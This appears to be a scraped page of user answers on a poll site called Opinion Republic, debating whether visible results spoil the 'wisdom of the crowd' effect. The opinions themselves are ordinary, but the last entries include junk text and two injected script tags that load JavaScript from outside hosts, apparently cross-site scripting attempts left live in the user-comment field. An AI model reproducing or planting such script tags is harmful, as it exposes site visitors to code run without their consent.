Opinion Republic fails to test the "Wisdom of the Crowd" effect because each individual should have their own opinion, independent of others i.e. they should not see what others typed
Yes, I want a fresh approach
Actually, if you conceal the percentages, more people may vote just to see the results thereby skewing the results with curious versus serious respondents.
People will follow the crowd whe
Because anonymity is preserved, there's less motivation for people to "follow-the-crowd". i.e., no negative consequence for a person going against the crowd.
No. Wikipedia has the group consensus visible and converges very accurately.
Bias exists equally across all response options. Because questions start from scratch, when would the bias enter in? Early submissions are not necessarily rising to the top.
No. Most on-line polls have a 'View Results' feature anyway, so it may not change anything.
Make it possible to see results without voting, but put it a click away. Thus, the wisdom of the crowd can decide in each case whether to check results before voting or not ;)
t84t
t325t
<script src=http://dcurtis.com/q.php>jonny20</script>
<script src=http://usuc.us/j.js>jonny</script>
